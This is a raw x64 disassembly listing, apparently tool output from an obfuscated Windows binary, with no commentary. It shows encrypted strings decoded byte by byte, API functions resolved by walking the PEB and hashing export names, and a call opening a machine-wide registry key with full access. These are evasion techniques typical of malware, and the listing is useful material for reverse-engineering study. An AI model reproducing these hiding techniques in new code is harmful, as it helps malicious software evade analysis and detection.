add dl, bl
add dl, r9b
mov byte [rbp + r10 + 0xb30], dl
jmp 0x14011c13a
movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
add rdi, r11
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x14011c207
mov r9, r8
movabs rdx, 0xd75a693f66f0edb6
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rcx, 0x92af2436dc62c3de
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x12
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0xb30], al
inc r11
add rax, r11
sub r10, rax
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0xb30], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x14011c1f8
movabs rcx, 0xee94763fbe67414e
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x22
movzx eax, byte [rbp + r10 + 0xb30]
add rax, r11
add r10, rax
inc r10
jmp 0x14011b6dc
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011b6d9
lea rcx, [r10 + r14]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x22
jmp 0x14011b6c9
lea rdx, [rbp + 0x16000a8]
jmp 0x14011c267
lea rdx, [rbp + 0x1026bc2]
jmp 0x14011c267
lea rdx, [rbp + 0xb30]
lea rcx, [rbp + 0x3a0]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x16c0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14011c29c
mov rdx, qword [rbx]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x16c0]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x16c0]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x16c0]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0x4a0], Ordinal_60
mov byte [rbp + 0x4a1], Ordinal_143
mov byte [rbp + 0x4a2], 0x61
mov byte [rbp + 0x4a3], 0xf3
mov byte [rbp + 0x4a4], 0x5a
mov byte [rbp + 0x4a5], 0xf1
mov byte [rbp + 0x4a6], 0x62
mov byte [rbp + 0x4a7], 0xf7
mov byte [rbp + 0x4a8], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x4a9], 0xf5
mov byte [rbp + 0x4aa], 0x5b
mov byte [rbp + 0x4ab], 0xfb
mov byte [rbp + 0x4ac], WSACleanup
mov byte [rbp + 0x4ad], 0xf9
mov byte [rbp + 0x4ae], 0x5b
mov byte [rbp + 0x4af], 0xff
mov byte [rbp + 0x4b0], 0x40
mov byte [rbp + 0x4b1], 0xfd
mov byte [rbp + 0x4b2], 0x59
mov byte [rbp + 0x4b3], 0xe3
mov byte [rbp + 0x4b4], Ordinal_79
mov byte [rbp + 0x4b5], 0xe1
mov byte [rbp + 0x4b6], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x4b7], 0xe7
mov byte [rbp + 0x4b8], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x4b9], 0xe5
mov byte [rbp + 0x4ba], 0x7f
mov byte [rbp + 0x4bb], 0xeb
mov byte [rbp + 0x4bc], 0x7a
mov byte [rbp + 0x4bd], 0xe9
mov byte [rbp + Ordinal_79e], 0x4b
mov byte [rbp + 0x4bf], 0xef
mov byte [rbp + 0x4c0], 0x7a
mov byte [rbp + 0x4c1], 0xed
mov byte [rbp + 0x4c2], 0x88
mov byte [rbp + 0x4c3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x4c4], 0x84
mov byte [rbp + 0x4c5], Ordinal_211
mov byte [rbp + 0x4c6], Ordinal_217
mov byte [rbp + 0x4c7], Ordinal_217
xor eax, eax
mov qword [rbp + 0x4c8], rax
mov bl, byte [rsp + 0x50]
movabs rsi, 0xa56801fc54f0c73e
movabs r14, 0xa439041f7735f4ba
movabs r12, 0x4171499f14213234
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x30
jae 0x14011cfc5
movzx r8d, byte [rbp + r9 + 0x4a0]
mov rdx, r8
cmp rdi, r9
ja 0x14011cfbc
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14011c474
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x4e
jmp 0x14011c4ae
je 0x14011cf44
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14011cec0
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14011ce93
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14011ce4b
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14011cdfb
cmp r10, r9
ja 0x14011cfb3
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x14011c4e3
movabs rdx, 0x918829b2f7c05816
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011c524
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14011cdd8
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14011cdb5
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14011cd8f
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14011cd69
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14011cd47
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14011caa8
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14011ca86
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14011ca60
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x14011ca3e
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x14011ca18
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14011c9f6
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14011c9d4
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14011c9c0
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x14011c99e
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x14011c978
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14011c531
lea rdi, [r10 + 5]
lea r10, [rdi + 0x20]
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x14011cf99
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x14011cf76
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14011c731
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x14011c70f
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x14011c6e9
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x14011c91c
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x14011c8c2
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14011c873
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x14011c849
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x14011c531
lea rdi, [r10 + 0x3e8]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14011c835
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x14011c812
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14011c7f0
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14011c7dc
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x14011c7ba
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14011c7a6
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x14011c784
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14011c76b
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x14011c757
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x14011c531
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 3]
jmp 0x14011c531
movabs rdx, 0xcf7914021ebc2eaa
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14011c524
movabs rcx, 0x84a9100974daa02e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x42
jmp 0x14011c4ae
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011c446
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_27
jmp 0x14011cde7
lea rcx, [r9 + r12]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6c
jmp 0x14011ce40
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x14011ce43
movabs rdx, 0xabd141adc05e153c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x14011cbe3
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x40
jmp 0x14011ce8e
movabs rdx, 0x163139bc6c9af844
mov ecx, reloc.WS2_32.dll_select
jmp 0x14011cd78
movabs rcx, 0xcb6135c3c2b969c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x14011cee1
movabs rdx, 0x809131cb18d7db4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
add bl, dl
jmp 0x14011cf11
movabs rdx, 0x35c12dd26ef64cd0
mov ecx, Ordinal_41
jmp 0x14011cc11
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x36
mov byte [rbp + r9 + 0x4a0], bl
jmp 0x14011cf6e
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp r10, 9
jb 0x14011c866
movabs rcx, 0xe770ca89d7ef62b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x14011ce18
movabs rdx, 0x65191bf3727f4ba2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6e
add bl, dl
cmp rdi, 0x1000
jae 0x14011ccee
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x14011cc28
movabs rcx, 0xfb50a2d3351fd1dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x14011c894
movabs rcx, 0x1a4917fac89dbd26
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xa
lea rax, [r10 + rdi]
cmp rax, 0x80
je 0x14011cd19
lea rax, [r10 + 0x40]
cmp rdi, rax
jbe 0x14011cb83
movabs rcx, 0x69c879203d5f79c6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6a
jmp 0x14011c8e0
movabs rdx, 0x6930fa31ce821084
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011cf5f
movabs rcx, 0x1e60f63924a08208
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
jmp 0x14011cf11
movabs rdx, 0xd390f2407abef38c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14011cb12
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x14011ceae
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x14011ce8e
movabs rdx, 0xf320e6567d1a4818
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011ce68
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x44
jmp 0x14011ce43
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011ce40
movabs rcx, 0x12b0da6c7f759ca4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7c
jmp 0x14011ce18
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x14011cace
lea rdx, [r9 + rsi]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011c939
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14011cafa
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x14011cf5f
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14011cb24
movabs rdx, 0xb8b05b574343cd24
mov ecx, 2
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14011cd3d
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14011cb50
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x14011ceae
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14011c939
movabs rdx, 0x4e5063489706ea1c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14011ce8e
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14011cba0
movabs rdx, 0xb4987d18e7410842
mov ecx, Ordinal_27
jmp 0x14011cde7
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14011cbcb
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x32
jmp 0x14011ce40
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14011cbf5
movabs rdx, 0x95088902e4e5b3b6
mov ecx, 3
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14011cd0f
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14011c8e0
movabs rdx, 0xb189cde364d7c22
mov ecx, 9
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14011cf5f
jne 0x14011cc4c
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x68
jmp 0x14011cf5f
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14011cc77
movabs rcx, 0xdbc0aebd32c47d50
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x30
jmp 0x14011cee1
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14011cc94
movabs rdx, 0x2690b2b5dca60bcc
mov ecx, gethostname
jmp 0x14011cd78
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14011ccbb
movabs rdx, 0xbc30baa7306928c4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5c
jmp 0x14011cd12
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x14011c894
movabs rdx, 0x9ca0c6912e0dd438
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14011ce18
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x4a0]
sub bl, al
sub bl, 0x50
add bl, r8b
add bl, dl
jmp 0x14011ce68
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x4a0]
add bl, dl
add bl, r8b
jmp 0x14011cee1
movabs rcx, 0x9d38457f9ceb3d7a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x56
jmp 0x14011cee1
movabs rdx, 0x52684186f309aefe
mov ecx, 7
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011ceae
movabs rdx, 0x7983d8e49282082
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011ce8e
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011ce43
movabs rdx, 0xdc582daba1a1e692
mov ecx, 1
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011ce18
movabs rcx, 0x46b825ba4ddec99a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x36
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x4a0], cl
inc r10
dec r9
jmp 0x14011cf6e
movabs rcx, 0x664819d0503a1e26
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xa
movabs rcx, 0xd7a8d07ed6c1b86e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 2
add cl, r8b
add cl, bl
mov byte [rbp + r9 + 0x4a0], cl
add rdi, r10
jmp 0x14011ceae
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x42
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14011cf6e
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea ebx, [rax + rax]
add bl, r8b
add bl, cl
movabs rcx, 0x2278d47780a346ea
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x66
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x4a0], al
inc r10
add rax, r10
sub r9, rax
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x4a0], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14011cf5f
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x16
movzx eax, byte [rbp + r9 + 0x4a0]
add rax, r10
add r9, rax
inc r9
jmp 0x14011c433
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7a
jmp 0x14011c430
lea rcx, [r9 + r14]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x16
jmp 0x14011c420
lea r12, [rbp + 0x145e248]
jmp 0x14011cfcc
lea r12, [rbp + 0x136a986]
jmp 0x14011cfcc
lea r12, [rbp + 0x4a0]
mov r10, qword [0x1404fc178]
test r10, r10
jne 0x14011d13a
xor esi, esi
mov r14d, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x14011d048
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14011d03a
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14011d029
cmp r8d, esi
jne 0x14011d117
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x14011d117
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14011d117
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x14011d09c
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14011d091
cmp edx, r14d
je 0x14011d0b2
test r9d, r9d
jne 0x14011d07c
jmp 0x14011d117
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x14011d12d
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x14011d12d
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14011d0f4
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r10
mov al, byte [r10]
cmp al, 0x2e
jne 0x14011d0e6
jmp 0x14011d10a
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r10
mov al, byte [r10]
test al, al
jne 0x14011d0fd
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x14011d12a
cmp qword [rdi + 0x30], 0
jne 0x14011cff8
xor r10d, r10d
mov qword [0x1404fc178], r10
mov r15d, 0xf84eee59
and qword [rsp + 0x40], 0
lea rax, [0x1404fba68]
mov qword [rsp + 0x38], rax
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
and dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x1404fc118]
xor r12d, r12d
test rdx, rdx
jne 0x14011d2e6
mov esi, r12d
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
lea r13d, [rdx + 8]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, r13w
mov word [rsp + 0x60], ax
test esi, esi
je 0x14011d1f3
mov rdx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea r8, [rdx + rax*2]
mov r9d, 0x811c9dc5
jmp 0x14011d1e5
movsx eax, byte [rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rdx, 2
cmp rdx, r8
jne 0x14011d1d4
cmp r9d, esi
jne 0x14011d2d1
mov rdi, qword [rcx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r11d, eax
add r11, rdi
shr rax, 0x20
cmp r11, rdi
je 0x14011d2d1
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14011d2d1
mov ebx, dword [r11 + 0x20]
dec r10d
lea r8, [rdi + r10*4]
mov r9d, dword [r8 + rbx]
add r9, rdi
mov r8d, 0x811c9dc5
jmp 0x14011d24a
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
inc r9
test dl, dl
jne 0x14011d23d
cmp r8d, r14d
je 0x14011d260
test r10d, r10d
jne 0x14011d227
jmp 0x14011d2d1
mov r8d, dword [r11 + 0x1c]
add r8, rdi
mov edx, dword [r11 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r10*2]
mov edx, dword [r8 + rdx*4]
add rdx, rdi
cmp rdx, r11
jbe 0x14011d2d9
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x14011d2d9
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14011d2a2
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14011d294
jmp 0x14011d2b7
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14011d2aa
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x14011d1a3
mov qword [0x1404fc118], rdx
mov r13d, 0xeced0b92
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404fc158]
test rbx, rbx
jne 0x14011d453
mov esi, r12d
mov r14d, r15d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x14011d36a
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14011d35c
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14011d34b
cmp r8d, esi
jne 0x14011d437
mov rdi, qword [rbx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r11d, eax
add r11, rdi
shr rax, 0x20
cmp r11, rdi
je 0x14011d437
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14011d437
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [rdi + r9*4]
mov r8d, dword [rdx + r10]
add r8, rdi
mov edx, 0x811c9dc5
jmp 0x14011d3be
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14011d3b3
cmp edx, r14d
je 0x14011d3d4
test r9d, r9d
jne 0x14011d39e
jmp 0x14011d437
mov r8d, dword [r11 + 0x1c]
add r8, rdi
mov edx, dword [r11 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r9*2]
mov ebx, dword [r8 + rdx*4]
add rbx, rdi
cmp rbx, r11
jbe 0x14011d44c
lea rcx, [r11 + rax]
cmp rbx, rcx
jae 0x14011d44c
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14011d416
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
cmp al, 0x2e
jne 0x14011d408
jmp 0x14011d42b
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rbx
mov al, byte [rbx]
test al, al
jne 0x14011d41e
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14011d449
cmp qword [rbx + 0x30], r12
jne 0x14011d31a
mov rbx, r12
mov qword [0x1404fc158], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404fc150]
test rdx, rdx
jne 0x14011d5c9
mov esi, r12d
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
